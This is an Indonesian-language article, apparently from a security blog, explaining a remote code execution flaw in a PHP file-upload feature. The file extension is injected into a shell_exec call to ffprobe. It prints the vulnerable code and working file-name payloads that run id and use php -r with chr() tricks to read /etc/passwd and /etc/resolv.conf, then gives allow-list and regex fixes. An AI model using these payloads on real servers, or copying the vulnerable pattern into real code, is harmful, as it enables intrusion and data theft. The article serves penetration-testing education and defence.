Remote Code Execution Vulnerability File Name - CRUDPRO

Remote Code Execution Vulnerability File Name

Remote Code Execution Vulnerability File Name

Selama audit keamanan kami, kami secara teratur dihadapkan dengan kerentanan yang memungkinkan perintah dieksekusi pada suatu sistem. Ini dapat mengambil berbagai bentuk tergantung pada jenis aplikasi dan fungsionalitas yang terpengaruh. Anda akan menemukan dalam artikel ini contoh kerentanan RCE yang ditemui selama uji penetrasi aplikasi web yang dikodekan dalam PHP.

Remote Code Execution Vulnerability File Name

Apa itu RCE (Remote Code Execution)?

Dalam keamanan komputer, eksekusi kode arbitrer (ACE) adalah kemampuan penyerang untuk mengeksekusi perintah atau kode pilihannya pada mesin target atau dalam proses target. Kemampuan untuk memicu eksekusi kode arbitrer melalui jaringan (terutama melalui jaringan area luas seperti internet) sering disebut sebagai eksekusi kode jarak jauh, atau RCE.

Sebuah RCE sangat berbahaya, karena sering memberikan akses istimewa ke sistem. Misalnya, kerentanan RCE pada aplikasi web akan sering memungkinkan untuk mengeksekusi perintah di server yang menghostingnya dan karenanya membobolnya. Ini akan memberi penyerang akses ke semua atau sebagian file server.

Presentasi kerentanan RCE

Tujuan dari fungsionalitas yang diuji adalah untuk memungkinkan pengguna mengunggah file ke platform sehingga dapat digunakan kembali di tempat lain. Ketika file yang diunggah adalah file audio atau video, aplikasi PHP akan menjalankan perintah di server untuk mengambil durasi file dan dengan demikian dapat mengkomunikasikannya kepada pengguna.

Berikut adalah kode (disederhanakan dan dimodifikasi untuk contoh) dari aplikasi:

<?php
$message = "";
function upload($file): string
{
    $base_dir = __DIR__ . "/../upload/";
    $ext = strtolower(pathinfo("/" . $file["name"], PATHINFO_EXTENSION));
    $filepath = $base_dir . uniqid() . '.' . $ext;
    $filetype = mime_content_type($file["tmp_name"]);

    move_uploaded_file($file["tmp_name"], $filepath);

    if (str_starts_with($filetype, "video/") || str_starts_with($filetype, "audio/")) {
        $command = sprintf("ffprobe -i \"%s\" -show_entries format=duration -v quiet -of csv=\"p=0\"", $filepath);
        $duration = shell_exec($command);
        return "Media file of duration " . $duration . " uploaded.";
    } else {
        return "File uploaded";
    }
}

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $file = $_FILES["formFile"] ?? null;
    $message = $file === null ? "Missing file." : upload($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Upload media file</title>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
</head>
<body>

<div class="container">
    <header>
        <h1>Upload media file</h1>
        <hr>
    </header>
    <div class="row justify-content-md-center">
        <div class="col col-lg-6">
            <form action="" method="post" enctype="multipart/form-data">
                <div class="mb-3">
                    <label for="formFile" class="form-label">File to upload</label>
                    <input class="form-control" type="file" name="formFile" id="formFile">
                </div>
                <div class="col-auto">
                    <button type="submit" class="btn btn-primary mb-3">Upload</button>
                </div>

                <?php if (!empty($message)) { ?>
                    <div class="alert alert-primary" role="alert">
                        <?= htmlentities($message, ENT_QUOTES) ?>
                    </div>
                <?php } ?>

            </form>
        </div>
    </div>
</div>

</body>
</html>

Apa yang dapat kita lihat pada awalnya adalah bahwa sebuah perintah dibangun pada baris 13 berkat fungsi PHP "sprintf" dengan jalur file yang diunggah sebelumnya sebagai parameter. Perintah ini kemudian dieksekusi pada baris 14 dan hasilnya dikirim kembali ke pengguna untuk ditampilkan di halaman.

Jalur file dibangun pada baris 7 dari elemen-elemen berikut:

  • Variabel $basedir: nilainya di-hardcode dalam kode, sehingga tidak dapat dimanipulasi
  • Output dari fungsi PHP uniqid: nilainya tidak dapat dimanipulasi
  • Output dari fungsi pathinfo PHP yang diminta untuk mengembalikan ekstensi file yang diunggah: di sinilah letak kerentanannya

Memang, fungsi pathinfo, ketika diminta untuk ekstensi file (dengan flag PATHINFO_EXTENSION), hanya akan mengembalikan semuanya setelah titik terakhir dari jalur yang diteruskan ke sana. Oleh karena itu dimungkinkan untuk menyuntikkan kode berbahaya ke dalam ekstensi file, sehingga dimasukkan ke dalam perintah yang dibangun pada baris 13.

Namun, mengingat cara kerja fungsi PHP “pathinfo”, perintah kita tidak boleh mengandung titik atau garis miring. Jadi, kita harus cerdik untuk mengeksploitasi kerentanan ini.

Eksploitasi kerentanan RCE

Untuk mengeksploitasi kerentanan ini, kita akan mulai dengan mencoba memasukkan perintah sederhana ke dalam nama file. Kami akan menambahkan \" untuk keluar dari tanda kutip ganda di mana perintah kami berada, kemudian kami akan menambahkan titik koma (;), kemudian perintah kami, dan kami akan menambahkan titik koma lain dan # untuk mengomentari sisa garis sehingga tidak mengganggu kita.

Jadi, payload kami adalah sebagai berikut:

\";id;#

Kami akan memutar ulang permintaan, menyuntikkan muatan ini ke dalam ekstensi file. Oleh karena itu, nama lengkap file tersebut adalah:

02.mp3\";id;#
Remote Code Execution Vulnerability File Name

Kami melihat bahwa output dari perintah "id" dikembalikan. Kami kemudian akan mencoba membaca file “/etc/passwd”. Namun, seperti yang disebutkan di atas, karena cara fungsi yang mengambil ekstensi bekerja, kita harus kesulitan memasukkan perintah yang mengandung titik dan garis miring. Ada banyak cara untuk melakukan ini (misalnya dengan menyandikan karakter). Karena aplikasi kita dalam PHP, executable php pasti ada di server. Jadi, kita akan menggunakannya untuk mengeksekusi kode PHP dari baris perintah.

Kita akan membuat variabel yang berisi karakter ” / ” dan ” . ” yang dihasilkan dari charcode masing-masing, kemudian kita akan menggunakannya untuk membangun perintah kita. Kode PHP akan menjadi sebagai berikut:

$sl=chr(47); // Character code of /
$dot=chr(46); // Character code of .
echo shell_exec(\"cat ${sl}etc${sl}passwd\"); // Launch and retrieve with echo the system command using the previous variables in place of the characters / et .

Payload lengkapnya adalah sebagai berikut:

02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec(\"cat ${sl}etc${sl}passwd\");';#

Berikut adalah contoh lengkap perintah untuk membaca file “/etc/passwd”:

Remote Code Execution Vulnerability File Name

Berikut adalah contoh lain untuk mengambil file yang berisi "." di jalurnya.

Muatannya adalah sebagai berikut:

02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec(\"cat ${sl}etc${sl}resolv${dot}conf\");';#
Remote Code Execution Vulnerability File Name

Dari sini kita bisa menjalankan perintah apapun di server. Ini akan dieksekusi dengan hak pengguna yang menjalankan layanan web (misalnya www-data), dan kami sebagian besar bukan root, tetapi hak tersebut seringkali cukup untuk membahayakan sistem dan data yang dihostingnya.

Bagaimana cara memperbaiki RCE ini?

Untuk memperbaiki masalah ini, rekomendasi pertama adalah jangan pernah menggunakan data yang dapat dimanipulasi oleh pengguna dalam perintah ke sistem.

Namun, jika perlu, penting untuk memastikan bahwa data yang digunakan bersih dan diamankan dengan benar. Misalnya, dalam kasus kami, kami cukup menyiapkan daftar putih ekstensi resmi dan tidak menjalankan perintah jika tidak ada dalam daftar:

$allowedExtensions = ["mp3", "mpeg"];
if (!in_array($ext, $allowedExtensions)) {
    return "File not allowed";
}

Dimungkinkan juga, misalnya, untuk menggunakan regex dalam fungsi "filter_var" PHP untuk mengizinkan hanya huruf dan angka:

if (!filter_var($ext, FILTER_VALIDATE_REGEXP, ["options"=>array("regexp"=>"/^\w+$/")])) {
    return "Invalid extension";
}

Kesimpulan

Saat mengembangkan aplikasi, penting untuk memahami dari mana data yang kita manipulasi berasal dan terutama apa output dari fungsi yang akan kita gunakan. Memang, dalam contoh ini, fungsi PHP "pathinfo" cukup mendasar dan tidak dibuat untuk memastikan bahwa apa yang dikembalikannya benar-benar seperti yang kita harapkan untuk sebuah ekstensi (hanya huruf dan angka, cukup pendek…).

Penting juga untuk mempertimbangkan apakah, saat menggunakan data dalam suatu fitur, hal itu dapat menimbulkan masalah keamanan, terutama ketika data tersebut dikembalikan ke pengguna (misalnya untuk XSS), atau ketika digunakan, misalnya, dalam perintah sistem ( RCE) atau SQL (injeksi SQL). Anda dapat membaca artikel kami tentang praktik terbaik keamanan untuk PHP terkait injeksi dan XSS. Oleh karena itu, penting untuk memfilter data ini sebanyak mungkin dan/atau menyandikannya sedemikian rupa sehingga konten berbahaya tidak dapat ditafsirkan.